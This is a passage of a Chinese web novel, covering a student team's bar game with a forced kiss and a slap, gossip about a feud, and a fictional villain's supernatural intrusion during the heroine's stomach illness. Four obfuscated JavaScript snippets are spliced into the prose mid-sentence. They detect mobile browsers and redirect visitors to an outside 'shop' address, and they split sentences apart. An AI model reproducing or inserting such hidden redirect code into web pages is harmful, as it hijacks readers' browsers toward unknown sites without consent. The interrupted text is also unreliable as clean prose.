这已经就差指名道姓了,裴佑哲倒也不回避,正面应答,“是的,在。” 红灯再一次亮起。 所有人都发出一阵嘘声,嚷嚷着这个仪器坏了。 巴木优把它抱起来,晃了晃,“连续三次出错的概率很小,几乎是不可能的。你哪个回答在说谎?” 裴佑哲的笑容看不出一丝破绽,“谁知道呢。” “但是那个‘没有喜欢的人’的回答肯定是说谎了!”有人指出来。 “是啊是啊,这个问题队长肯定撒谎了!” “真心话没通过,是不是就该轮到大冒险了?” “真心话说谎就必须接受大冒险,这个规则就算是到了队长这里也不能改变,规矩就是规矩!” 在一众人激情的话语中,裴佑哲根本没有其他的选择。 学生们替他洗好了行动卡牌,背面朝上递到他的眼前。 “选吧,队长!” 裴佑哲摇摇头,模样有些无奈,他伸手抽了一张,拿起来,顿时有许多双眼睛凑了过来想要看清上面的内容。 “这么劲爆??!”率先看到的学生大喊。 “怎么了,怎么了,抽到什么了?”没看到卡牌正面的人心急地询问。 有人替裴佑哲念出了上面的内容,“在场选一个人舌吻!” “卧槽,最刺激的一张,百分之一的概率啊,让队长抽中了。” “换一张吧。”裴佑哲表情未变,把牌扣了下去,罕见地临阵脱逃了。 没想到的是,站在桌边的巴木优却把那张牌又翻了过来,对她的学生会上司说:“这不是个好机会吗,刚才你不是说喜欢的人就在隔壁。” “木优……”裴佑哲露出为难的神色。 “对呀,队长,副队长说得很有道理,而且你都抽中这张牌了……” “刚才大傻个抽中了‘用嘴给别人系鞋带’,我感觉这个比舌吻还过分,但是他也好好完成了……” “这算什么,我刚才可是给所有前任都发了‘我们复合吧’的消息啊。” 一个醉醺醺的队员说:“今天玩的不就是刺激吗,嗝,大家都喝了这么多酒,明天早上起来肯定、肯定都忘了。” “是啊是啊。” 说到这个份上,再拒绝就有点扫兴了。 裴佑哲看起来也深知这一点,认命似的叹了口气。 庄森芽坐在他的左手边,晕乎乎地盯着对方有些不苟言笑的侧脸,他看起来有些沉默,又有些动摇。 庄森芽努力驱动被酒精灌满的脑袋,心想对方可能不是很情愿玩这个游戏,结合昨天的话题活动、树林里费洛和她说过的话,以及刚才的真心话环节,她心里产生了一个模糊的猜想—— 那就是,裴佑哲喜欢的人极有可能就在天秤队一至五组之中,但那个人不是石玥诗。 这就有点尴尬了,现在所有人都认为裴佑哲喜欢石玥诗,但裴佑哲肯定不能去亲她,因为他喜欢的人就在这两个卡座中的某处,想必他不希望被那个人误会。 他会去找那个真正喜欢的人吗?可是这样的话,就等同于向所有人公布了恋情。然而从裴佑哲一直以来的表现来看,他并不是很希望被人知道他喜欢谁。 这下裴佑哲要怎么做呢…… 庄森芽不由得替他设身处地纠结起来。 就在这时,裴佑哲转过头来,目光落在庄森芽的脸上。 庄森芽因为醉酒而反应迟钝,就那么盯着他。 但裴佑哲只浅浅看了那么一眼,很快就离开了目光,快到让庄森芽觉得他未曾投来视线。 他们的队长在众目睽睽之下站起身来,身形有些摇晃,但脸上是镇定自若的神情。 旁边的人见他行动,立刻让开位置,都以为他要去隔壁的卡座。 但裴佑哲没有。 他离开卡座后,径直走向酒吧的中央,那里有一个乐队在演奏,吉他手是一个打着唇钉的酷姐,右侧头发剃光了,染成红色的长发都往左边梳,系成一条条脏辫。 裴佑哲站在台下看着那个吉他手,对她说了些什么,音乐声太大,谁也没听清。 学生们好信地跟了上去,庄森芽也被温枣拉着跌跌撞撞地挤进了前排。 到了前面,只见那个留着脏辫的吉他手一笑,放下吉他,走下台阶,凑到了男人的近前。 裴佑哲拢住她的肩,把她往旁边的立柱上一带,将她困在自己和立柱之间。 紧接着,他俯下身去,印上了自己的唇。 人群中传出了小声的惊呼。 吉他手很自然而然地接受了这个吻,双臂挂在裴佑哲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208439|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的肩上,两人都闭着双眼,像缠绵的恋人一样吻得深情。 所有的学生都噤了声,瞪大了眼睛看着这一幕。 “不愧是学生会主席,情场老手啊……”有人感叹。 当下的场面引发了不小的骚动,乐队开始即兴演奏,学生们都闻讯凑上前来。 这个吻持续了一分钟才分开,结束的时候,围观人群已经把这里堵得水泄不通了。 吉他手勾了一下裴佑哲的下巴,伸出手在他面前挥了挥,然后十分潇洒地转头,回到自己在乐队中的位置上,继续摆弄吉他。 而裴佑哲则转过身来,面朝着同学们,脸上一点难堪的情绪都没有,表现得不为所动,他那副样子仿佛在说,这对他来说根本算不上什么,他们这些没见过大场面的新人还嫩着。 学生会主席往卡座的方向走,身前的人纷纷给他让路。 当男人路过庄森芽眼前的时候,她大睁着眼睛盯着他,感觉对这个人的印象又翻新了。 说不上来这是什么感觉,看他那么游刃有余地和看上去就很难打动的酷姐接吻,庄森芽觉得自己对这个人的定义应该修正一下。 说圣徒他好像也没那么纯洁,说是花花公子他好像又不是那么滥情,那这之间的定义应该怎么形容……? 她一时找不到一个合适的词汇。 “游戏也玩得差不多了,大家也都醉了,到我这里就结束吧,我们收拾收拾回酒店……” 在通向卡座的路上,裴佑哲慢慢停下了脚步,话也只说到了一半。 有一个人堵在他回去的路上。 那是石玥诗,她没有给裴佑哲让开,而是站在那里,沉默地注视着他,眼里闪动着晦暗不明的光。 “糟了,玩脱了……”学生们在背后小声议论道。 “正主生气了……” 从庄森芽的角度,只能看到裴佑哲的背影和明显气压有些低的石玥诗。 众目睽睽之下,她两步走上前来,高跟鞋发出愤怒的咯哒声响。 啪! 裴佑哲的头歪向一侧,定住,没有回正。 围观的人倒吸一口冷气,屏息盯着眼前的这一幕。 “就这么喜欢羞辱我,是吗?”石玥诗开口问他。 然而,她并没有留下来等一个回答,而是回到卡座上,一把抓起自己的包,匆匆离开了酒吧。 学生之间传出了低声惊叹,没有人敢大声说话,所有人都在交头接耳。 文艺部副部长居然当着众人的面打了学生会主席一巴掌,这可以算是今天晚上最劲爆的场面了。 裴佑哲站在原地,垂着头,表情看不出他在想什么。 一时间,没有人敢走上前去。 最后还是费洛从人群的末尾挤出来,靠近他,揽着他的肩把人往外面带。 “都散了吧,啊,都散了!该回酒店的回酒店,各队队长都带一带啊!”费洛边喊着,边与裴佑哲两人消失在了酒店的门口。 裴佑哲离开之后,人群轰一下子就闹起来了,有人七嘴八舌地议论着刚才发生的事,有人张罗着离开酒吧。 27. 持续一年的拉扯 何元楚越过人群,找到了挤到前面看好戏的温枣和庄森芽,“副队长叫了几辆车,你们东西都拿好,我们回酒店吧。” “可是我还能喝。”温枣意犹未尽,“而且八卦还没聊完呢。” 何元楚有点无奈,“你也不看看你身边那个什么样了。” 庄森芽此刻几乎是整个人挂在温枣的身上,身体七扭八歪的,两条腿怎么也站不直。 “唔,这的确看起来是不行了。”温枣说。 “你扶着点她,我去拿你们的东西。”何元楚回到卡座,动作非常迅速地把零散的东西都装回各自的背包里,一个人提着四个人的东西——是的,费洛丢下自己的背包就跑了——呼唤温枣和庄森芽两人往酒吧门口走。 出了酒吧,一阵清新的风拂上脸庞,可还是没有把庄森芽吹清醒几分,走起路来反而更晕了。 副队长巴木优依次清点着人数,组织队员上车回酒店。 轮到庄森芽几人的时候,正好是最后一波,巴木优也就跟他们上了同一辆车。 副队长坐在副驾驶,组内的三名成员挤在后座上,庄森芽靠在右手边的窗边吹风,温枣则坐在最中间。 “刚才酒吧里那一幕真是意想不到啊……”温枣还在回忆之前发生的事情,“队长居然亲了吉他手,我还以为他会去找隔壁卡座的那个石玥诗呢。” 何元楚:“你惊讶的点居然在这里吗,而不是石玥诗打队长的那一巴掌?” “那一巴掌的确也很出人意料啦……不过也在情理之中,怎么看队长挨打都是因为他去亲了吉他手,所以那个石玥诗吃醋生气了。” 何元楚推了一把眼镜,“不,我倒觉得不是因为吃醋……” 温枣反问:“那还能是因为什么?” “她不是说了吗,她觉得队长在羞辱她。” “对哦,那句话是什么意思?” “……恐怕她的意思是说,就算队长不喜欢她,也不能当着这么多人的面,一点面子都不给她留,毕竟所有人都以为队长喜欢她。”何元楚思索着,说道,“当时你们冲上前看好戏,所以没有注意到,队长刚站起来的时候,石玥诗那一桌都在拼命起哄,可是当他去找那个吉他手之后,隔壁那个卡座整个氛围一下子就降到了冰点,尴尬两字都形容不了那种窒息的气氛。” 温枣有点惊讶,“啊?她那句话居然还有这么一层含义吗?” “十有八九就是这样。”何元楚说。 “你分析得一点也没错。”这时候,副驾驶的巴木优突然说话了,她像个提线人偶似的转过头来,肩膀以下几乎没动,“一个小男生,还挺敏锐的嘛。” “哇,副队长,你模样好可怕……”温枣缩了缩脖子。 巴木优的目光落在庄森芽在身上,后者迷迷糊糊地靠着窗户,半梦半醒。 “你们组里怎么有个小朋友不说话,死了吗?” 温枣:“副队长,你说话也好恐怖!” “她喝多了。”何元楚解释。 巴木优把目光移走了,面朝着前玻璃窗,声音幽幽传到后方,“想知道你们的队长和那个石玥诗是怎么回事吗?” 温枣:“这是我们可以听的?” “当然。” “听完之后,还能在上茂哈里森大学上学吗?”温枣一副又想听又怂的模样。 “看你们能不能守口如瓶吧。” 温枣举起三根手指,“我对天发誓!” 坐在副驾驶的巴木优换了个姿势,开始娓娓道来,“石玥诗在一年前刚上上茂哈里森大学的时候,就认识了裴佑哲,据说是对他一见钟情。然后,就像每个喜欢他的女孩子那样,她向他表了白。” “队长没答应吗?”温枣问。 “没有,那时候裴佑哲还交往着别的对象呢。” “啊……石玥诗在别人恋情没结束的时候就去告白了吗?” “这倒没什么,你们队长的追求者总是不分场合地向他示爱。”巴木优说,“裴佑哲曾经跟我说,他以为石玥诗就像以往每一个表白者那样,拒绝之后就不会再找上门来了,可是他以为错了。” “石玥诗还在穷追猛打吗?” “是啊,她并没有放弃。” “不过队长应该应付得了吧,”温枣如此认定,“怎么看他都是个情场高手了。” “他的确是,但是石玥诗也是。”巴木优侧过头来,声音因此更加清晰了些,“我刚才说她穷追猛打,但她不是真的傻乎乎地穷追猛打,而是变着花样旁敲侧击。” 这句话似乎触及到了温枣的盲区,她露出困惑的表情,“旁敲侧击……?” “个中细节太繁琐了,总而言之,效果就是,她成功让很多人认定她和裴佑哲是天生一对。” 何元楚此刻也加入了谈话,“就像刚才在酒吧那样。” “是的,在裴佑哲去亲那个吉他手之前,所有人都认为他会去找石玥诗,而且你们还只是些新生,就已经这么认为了,在高年级的流言蜚语之中,这两人更是被绑定在一起。”巴木优露出一个有些冰冷的笑容,眼神没有一点温度,“裴佑哲半年前就不再交往新的对象了,就是因为这个石玥诗太难搞。他但凡有和其他人交往的行为,都会被对方利用,传播成是出轨、不专情。今晚这一回,要是裴佑哲顶不住这个压力,害怕出格的行为会给自己形象抹黑的话,他大概率会按照‘众望所归’的剧本走,石玥诗也就能得偿所愿了。” “可是队长抽中那个‘选一个人舌吻’的卡牌,完全是个意外啊。”温枣说。 “这种局面早晚都会发生的,就算这次没有意外,石玥诗或早或晚都会制造什么‘意外’吧。” 温枣:“求个爱而已,怎么听起来像是打仗一样勾心斗角……” “就是像打仗一样勾心斗角。”巴木优说,“这两人已经斗了一年了,从裴佑哲拒绝石玥诗开始,这场战役就没停下来过。” “他们表面倒是看起来挺风平浪静的。”何元楚点评。 “那是你没看到去年他们斗得最狠的时候。石玥诗营造被人抛弃的弱势,裴佑哲就反手摆出更无辜的姿态;她向人群散布两人理应在一起的心理暗示,他就当众犯错,暴露自己的缺点,强调他的不够格。” “高手较量啊。”温枣感叹。 “校园论坛应该还有这段历史的万字记录,往前翻一翻就能找到。”巴木优难得叹了口气,表现出感慨的情绪,“我以为一个假期过去,这俩人能消停点,没想到一开学他们又跃跃欲试地要霸占新闻头条。” “这也太精彩了……”温枣听得一脸兴奋,“副队长,我将来能从你这里打听第一手消息吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208440|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “看我的心情吧。”巴木优没有给出明确的回应。 热火朝天的八卦结束了,车子也抵达了酒店。 一路上,庄森芽只听到周围的人嗡嗡在她旁边说着些什么,字句倒是偶尔能听清,就是不太能理解话语中的含义。 下车之后,她被温枣架着,抬上了五层。 记忆在房门打开的一瞬间戛然而止,那之后发生了什么她完全不知道了。 第二天是敲门声把她吵醒的,庄森芽从床上坐起来,感觉头痛欲裂。 走到房间门口,把门敞开,发现是副队长站在外面。 正有些讶异她为什么会大清早找过来,就看到对方手上举着什么东西,庄森芽定睛瞧去,发觉那是自己的手机。 “裴佑哲让我送过来的。”她简略地说。 “谢谢副队长!麻烦你走这么一趟了……” 巴木优没说什么,转身离去,像是个魂似的飘远了。 “怎么是副队长亲自送过来……”庄森芽嘀咕着,收好手机,关上了门。 房间里,温枣还在呼呼大睡,庄森芽不知道她昨天是几点睡觉的,记忆断断续续,现在只能回想起几个零散的片段。 她坐在床上,把手机开机,短暂地等待过后,熟悉的屏幕界面出现在眼前。 翻动了片刻,庄森芽不禁发出疑惑的声音,“咦,怎么消息全都被清空了……” 她没怎么在意,反正重要信息她一般都会截图保存,或者用其他软件备份,聊天记录丢了倒不是什么大事。 她伸了个懒腰,却觉得浑身酸痛无比,像有一辆大卡车从身上碾过一般。 以前从来没有过宿醉的感受,这次让她实实在在地体验了一把,嗯,确实不怎么好受。 在网上查找宿醉要吃什么才能缓和一些,其中有一项是喝蜂蜜水,于是她忍着不适洗漱了一番,换上了干净衣服,去楼下超市买了一罐蜂蜜上来。 回来的时候温枣已经醒了,与庄森芽的萎靡不同,她看起来容光焕发,仿佛昨夜的交际和酒精都是她能量的源泉。 “早上好,森芽!你是出去买东西了吗?” “嗯,有点头疼,想喝点蜂蜜水缓缓。” “哎呀,你这是酒喝多了呀。来,我帮你按摩按摩脑袋,这方面我可有经验了。” 庄森芽给水壶里装上水,插电,打开开关,而后从善如流地来到温枣的床边坐下。 温枣来到庄森芽的背后,十根手指温柔地笼住脑袋,开始十分有规律地按压着。 温枣:“一开始都会是这样的,等酒量练起来了,就不会出现这种情况了。” 庄森芽:“我觉得我还是少喝点酒吧。” “酒怎么能少喝呢,酒可是快乐之源啊!” “你为什么这么能喝,大家都是十八岁……” “从十六岁开始,老妈就带着我喝酒啦!” “难怪呢。” “可别跟别人说啊,我只告诉你。”温枣笑嘻嘻地说。 “唔……”庄森芽升起了坏心思,“意思是我现在有你的把柄了?” “啊,你想干什么?”温枣笑着弄乱了手下柔软的白发,“居然敢威胁按摩店老板!” “我错了,我错了,温总。”庄森芽立刻投降,“您善待我的脑袋。” 28. 旧疾 两人嬉闹时,庄森芽的手机突然响了起来。她抓起来看了一眼,上面是队伍群的消息。 “群里说什么了吗?”温枣的视线越过庄森芽的肩膀,盯着她的手机。 庄森芽一五一十念出群里的消息,“天秤队一至五组的成员,原定活动暂停,今日行程临时改为自由活动。” 温枣:“活动取消了?” “是啊,不知道怎么回事……而且有点奇怪,消息是副队长发的,之前一直都是队长通知。” 就在她说这段话的时候,群里又发来了一条消息,上面写着:「从明天开始,一至五组的队长产生变更,人员待定。」 “这是什么意思,主席不当我们的队长了吗?”温枣疑惑地说。 庄森芽:“应该是这个意思。” “好突然。” “难道是因为昨天的事情?” 温枣若有所思,“……有可能诶。” 又过一阵子,房间门被敲响了。 “是我。”外面传来的是何元楚的声音。 庄森芽与温枣两人去开门,看到何元楚一个人站在外面。 “怎么就你一个,狗哥呢?”温枣探出头去,四下张望。 何元楚摇摇头,“他昨天晚上没回来,我打电话给他,他说有点事,这两天可能都不会回来了。” “昨天他是和队长一起走的……”温枣模样像是陷入回忆之中,“看来昨天的事情闹得真的很大。” 何元楚问他们两人,“今天你们有什么打算吗,群里刚刚通知让自由活动。” 温枣有点纠结,“我还没想好……” 庄森芽说道:“我身体不太舒服,想休息一下,你们两个出去玩吧。” 温枣想到了什么,面色兴奋,“元楚,我们去电玩城吧,回来的时候给森芽带点吃的。” “那我回去收拾一下,二十分钟之后楼下见。”何元楚离开了。 回到房间内,庄森芽拿了个一次性纸杯出来,把刚买的蜂蜜倒进去一层,又浇灌了热水进去,拿喝咖啡用的搅拌棒搅拌均匀,往表面吹气,浅浅地试了一口水温。 温枣在洗手间弄出了一阵叮叮咣咣的巨响,不知道的还以为是有装修工在里面作业。半晌,她出来了,俨然又是一副精致活泼的打扮。 粉头发的女孩行动非常迅速,三两下就收拾好了东西,像阵风一样窜到了房门口。 “那我走了,森芽,要照顾好你自己哦!” “晚上见。”庄森芽回应她。 温枣的离去带走了许多热情,房间的气氛渐渐冷却下来。 庄森芽喝完了那一杯蜂蜜水,感觉自己好上了一些,不再头疼欲裂了。 她又回到床上,浅眠了一阵子。醒来之后,从背包里翻出自己的手绘板,连接上手机,登上漫画平台,发现‘手速王’活动在昨天已经结束了,她拿了个不高不低的名次,混了个不好不坏的曝光,数据有所增长,但也只是小幅度的。 庄森芽对此已经很满意了,开学短短一周多的时间里发生了太多太多的事情,又是电脑被偷,又是漫画里的人跑出来威胁她改结局,再加上忙碌的社团面试和新生活动,她没直接停更都已经算很不错的了。 她趴在床上,回顾着自己之前所画的章节。 主人公尤梭已经攻入了反派的核心据点之一,正在迷宫一样的建筑之中,寻找这个工厂的总控制台,夺下总控制台,就相当于夺下了这个工厂。 她捏着笔,思量片刻,在草稿页面画了一个简易的地形图出来,又把人员分布填了上去,这样谁在哪都一目了然。 “尤梭继续往这个方向走的话,应该会碰上守卫者……” 她看了一眼守卫者的设定,这些家伙是诺特斯的部下,披着遮住脸庞的斗篷,戴着印有红棕色花纹的假面,行动非常敏捷,在作战的时候绝不后退半步,是工厂最难攻克的守护者。 她在空白的画板上画出一个阴森的廊道,末端就立着一排这种家伙,主人公尤梭站在他们的对面,看起来一点攻破的希望都没有。 庄森芽一笑,开局就是要刺激一点,反正她会想办法帮尤梭突破难关的。 “咕……” 画画的时候,她的肚子在翻涌。庄森芽换了个姿势,靠在床头上,用一条腿垫着手绘板,专注地用笔尖给环境打阴影。 “咕噜噜……” 胃部又发出了抗议,她并不觉得饿,只是肠子好像一直在不安地蠕动。 庄森芽并没有在意,继续画她的漫画。 一条线又一条线,密集或稀疏的线条勾勒出深浅不一的颜色,现在她只暂时只用黑白两色打个草稿,上色的苦力活想等回到学校,去活动室,在电脑上完成。 就这么专注地留下一笔又一笔,时间很快过去,她抬眼的时候,阳光已经强烈到能够透过遮光窗帘打起来,想来现在应该已经是中午了。 庄森芽抻了个懒腰,想起来活动一下。 然而,当她刚从床上下来,突然胃部一阵痉挛,疼得她顿时冷汗直冒。 “呃……”一下子蹲在地上,靠着床沿,捂着自己像在灼烧一样的胃部,脸色苦不堪言。 怎么突然这么疼…… 她挣扎着站起来,又去给自己冲了一杯蜂蜜水喝。 一杯甜水下肚,然而胃里那种焦灼的感觉并没有好转。 这种仿佛被石头来回碾压的痛觉,她十分熟悉。 高中的时候,学校旁边有一家面店,庄森芽和同学们时不时就去那里吃面,那时候年轻不懂事,总是往碗里加很多辣椒,也不管自己的胃能不能受得了。 而放浪的结果就是,她年纪轻轻就得了胃病,去医院检查,医生给出的结果是轻度胃溃疡。 当时连续吃了好几天的药,才把这个病治好了,但医生说有复发的可能性,将来如果还是不注意饮食、吃过于刺激性的食物,很有可能还会犯病。 现在这种状况,怎么看大概率都是胃病又发作了。 她瘫在床上,捂着自己的肚子蜷缩起来,额头开始泌出细汗。 虽然大概 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208441|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道自己是怎么回事,但她不太愿意服输,想着忍忍就过去了,或许只是昨天的酒喝多了,她不甘心自己的胃这么脆弱,动不动就溃疡。 明明别人都没事,第二天起来就活蹦乱跳的,怎么就她一个病殃殃的,这也太说不过去了。 她隐约记得胃疼的时候吃些东西会好一些,于是到酒店房间的小冰柜里翻翻找找,不过里面都是明码标价的饮料,没什么能吃的。 于是又跑到楼下的超市买了一些苏打饼干,还有新鲜的水果。而当她再次回到房间的时候,已经痛得不行了,双手都有点虚脱,甚至花了两分钟才撕开包装袋子。 她抽出一片紫薯味的苏打饼干,放进嘴中嚼了嚼,艰难地吞下去,又喂了自己一口水。 胃痛暂时没有缓和,食物流经食道进入胃中还需要一定的时间,急不得。 她又掏出一块饼干往自己的嘴里塞,身体轰然倒在床上,一副半死不活的模样。 “人真是不能生病啊……”她自言自语地感叹。 就在她躺在床上、萎靡不振地等待胃痛消散时,身后传来了一阵轻微的摩擦声。 她记得身后是半张床,上面摆着无人问津的手机和手绘板。 是什么东西在响? 她疑惑地转过头去,下一刻,顿时睁大了眼。 诺特斯站在床边上,手里抓着她的手机,正无比自然地翻看着上面的内容。 “你……”庄森芽一时语结。 这家伙什么时候出现的!? 刚才回房间的时候里面还空无一人,居然…… 他是来干什么的? 诺特斯像是个没事人一样看了庄森芽一眼,把风衣一掀,在床边上坐下来,翘起一条二郎腿,模样没有一点侵入者的自觉。 “尤梭都打到这里了啊,没想到西山工厂都让他攻入进来了。” 庄森芽反应了一下对方在说什么,意识到男人正在看她刚才所画的漫画内容。 “还我手机!” 她扑上去想抢回属于自己的东西,然而,诺特斯把手机一甩,反而是眼疾手快地抓住了庄森芽的双手,一下子限制住了她的行动。 此情此景,倒是和昨天在树林里被对方挟持那时一样,这不禁让庄森芽感到愤恼。 “放开我!” “你真的打算让尤梭来扳倒我啊?”他改成单手钳制她的双手,另一只手又把手机摸了回来,随意在上面翻了翻,“他连我的部下都打不过,你想让他怎么赢我?” “不管通过什么方式,你一定会受到制裁。”庄森芽颇为义正词严地说。 诺特斯一愣,转而笑开了,语气轻挑,“这才是你的真实想法吧,一开始在宿舍那时候假意配合我说会改写结局,还有前不久在树林里说要好好聊聊,那些全都是逢场作戏。” 庄森芽闭上了嘴,死死盯着眼前的男人。 渐渐地,她看到他脸上的轻佻消失不见,变成了一种充满了威压的阴寒笑意。 “非要让我动真格,你才知道害怕吗?” 29. 共体 周围的空气仿佛都凝固了,庄森芽感觉有些喘不上气来,她勉强咽了口口水,身体往后挪动,想要离眼前这个危险人物远一点。 她原本没想说那句话。 怎么看,在力量悬殊的敌人面前都不应该用言语激怒对方。可是她有自己的原则,胃部的痛意和见到对方的惊慌让她无法再维持一个进退有度的假面,真心话不由自主就蹦了出来。 她想挣开男人的束缚,可是双手还被对方紧攥着。 诺特斯只是轻松一拽,又把庄森芽带回到了身前。 男人盯着被他自己紧缚住的两只手,笑容有些阴森,“就是这双手决定了我的生死……” 一种没由来的恐惧自庄森芽的心底急速攀升。 难道他要弄断她的手? 身体本能地感受到了危险,在她的意识反应过来之前,全身就已经做好了逃跑的准备。 庄森芽一下子在床上跪起来,抬腿就要往诺特斯在身上踹,想借这股力道从对方的手中挣脱。 然而诺特斯似乎知道她想做什么,往后退了一步,十分游刃有余地避过了袭击。 他紧抓着她的双腕,一用力就把她带下了床。 “啊!”庄森芽狼狈地摔下去,双手被男人吊起,肩膀顿时感到了压力,踮着脚尖才能堪堪稳住自己的身体。 “让我来夺走你最重要的东西吧。”诺特斯俯下身来,在她耳旁低语。 庄森芽轻轻颤抖了起来,他们两人之间的力量差距太悬殊了,当面对峙的情况下,自己怎么看都只有任人宰割的份。 “你要干什么……” 她没有得到回应,只看到诺特斯抬起一只手来,手掌按在了她的胸口。 扑通,扑通。 他手下是她的心脏。 庄森芽不知所措地看着这一幕,心里有点绝望地想着,自己是不是要完了。 难道几天之前的噩梦是一个寓言,昭示着今天诺特斯会把她的心脏掏出来。 想到那个画面,又想到自己即将要惨死在酒店的下场,庄森芽骤然浑身冰冷。 不要,她不要死。 突然,一阵恶寒袭来,胃部像是被电钻钻了进来,疼得她脸部扭曲,不由得倒吸了口冷气,痛吟一声。 “唔……”身体不由得蜷缩起来,双眼紧闭。 痛苦把她整个人都淹没了,身体一下子虚脱,一点力气都没有,像条缺氧的鱼一样被悬挂在钓线上。 “呃。”对面的人发出了一声单调的单音,那听起来有点无措,“我还什么都没做吧?” 庄森芽根本无暇顾及对方在说什么,额头上冒出了一层冷汗,感觉力量在从身体里急速地流失。 “喂……”男人有点无奈地呼唤,“你这样子,就好像我在欺负你一样……” 剧痛之中,庄森芽感觉自己被放了下来,身体倒在了柔软的床上。 她把自己缩成一个蜗牛,脸埋进床单里,对抗着身体中仿佛在有蚀骨之虫在蠕动一样的凶猛痛意。 就在这个时候,有什么冰凉的东西贴上她的脸,庄森芽半晌才缓缓睁开眼睛,发现那是男人的手。 诺特斯脸上写满了困惑,就仿佛从来没遇到过这种情况似的,他小声嘀咕着,“这是发烧了?还是什么……” 庄森芽已经没功夫应付他了,胃病这种慢性的折磨还不如直接把心脏挖了来得痛快。 当然,她不是真的那么希望。 那只手离开了面颊,开始往下游走。庄森芽隐约感觉它来到了自己的腹部,然后停在了那里。 ……他在做什么? 朦胧的意识中,她费力地想着。 视线往下坠去,她看到诺特斯蹲在床边,一脸认真地盯着她的肚子,一只手摩挲着下巴,似乎是在思考着什么。 “是在这附近吗……?”男人自言自语般说道。 庄森芽又慢又深重地吞吐着呼吸,试图以这样的方式缓和胃部的痛楚。 然而,当看到接下来的一幕时,她连整个呼吸都停了。 诺特斯原本覆盖在她腹部的那只手,居然直接穿过外衣的布料,探进了她的身体里。 庄森芽吓傻了,愣愣地盯着自己的腹部。 这种感觉很奇怪,不疼,也感觉不到任何东西在自己身体里移动,可视觉传递来的却是不一样的信息。 “唔,是胃吗。”男人说着,手臂往上方挪动了少许。 从未有过的经历惊得庄森芽大张着嘴,却一句话也说不出来。 这个时候,她突然想起诺特斯拥有怎样的能力。 他可以通过隐身,与其他物质交叠,而后再具象化,达到破坏的目的,这整个过程成为‘侵占’,顾名思义,他能够霸占目标的空间,导致对方挤压变形。 就好比说,他现在如果解除隐身,庄森芽的胃部就会直接被开出一个洞来。 在《灵月十四》中,诺特斯就是通过这种方式解决他的对手的。 想到这里,庄森芽本就惨淡的脸色变得更加惨白。 她果然要被诺特斯杀死了。 接下来自己的肚子马上就要破一个洞,然后是心脏,最后是脑袋。 她会在这酒店的床铺上,变得血肉模糊。 没想到,自己居然有一天会死在亲手画出的角色手中…… 盯着那只陷入自己身体中、只剩下一截手腕露在外面的手臂,庄森芽感觉自己的意识都有些开始飘忽不定。 一半是因为疼痛,一半是被吓的。 她像是条离水的鱼一样,往床上死气沉沉地一躺,一点力气都没有,也不挣扎了。 爸爸妈妈,来世我还做你们的女儿…… 她尽最后的一点力气,搜肠刮肚地想出来了那么一点遗言,也不知道最终有没有说出口,意识就像断线的风筝一样,啪一下子与现实脱开了联系。 一片浓稠的黑暗包裹了她。 她奋力撕开紧兜住她的网,面前是一片白色的湖泊。 ……这里是天堂吗?她心想。 脚下的野草是白色的,天上的飞鸟也是白色的,所有一切都是白色的。 那这里应该就是天堂了吧。 远远眺望过去,在一片纯洁无瑕的白之中,她看到了一抹黑色。 一个身影站在白色的湖边,像是个墨点一般。 那个黑色的身影转过头来,庄森芽看到了他的脸。 紧接着,她又想道,不,这里应该是地狱,不然那个人怎么会在这里呢? 那人脚下流淌出黑色的浓稠液体,渗入湖泊之中,搅乱了那一汪平静的湖面。 然后,世界开始有了颜色,黑与白之间透析出了各种各样的彩色,草是蓝的,天空是红色的,而湖面变成了淡紫色。 景色开始变得光怪陆离,有长着翅膀的马匹在天空上飞,彩虹在她眼前搭建起了一座带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208442|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扶手的桥梁。 她走上彩虹桥,在往那个黑影的方向走。 不知道自己为什么要朝那里靠近。 只是有种感觉,好像这天地间的色彩都是源于那个漆黑暗影的降临,她想要去一探究竟。 而就在这种神秘的心境之下,庄森芽缓缓睁开了现实中的双眼。 她盯着房顶,一时没有反应过来自己身在何处。 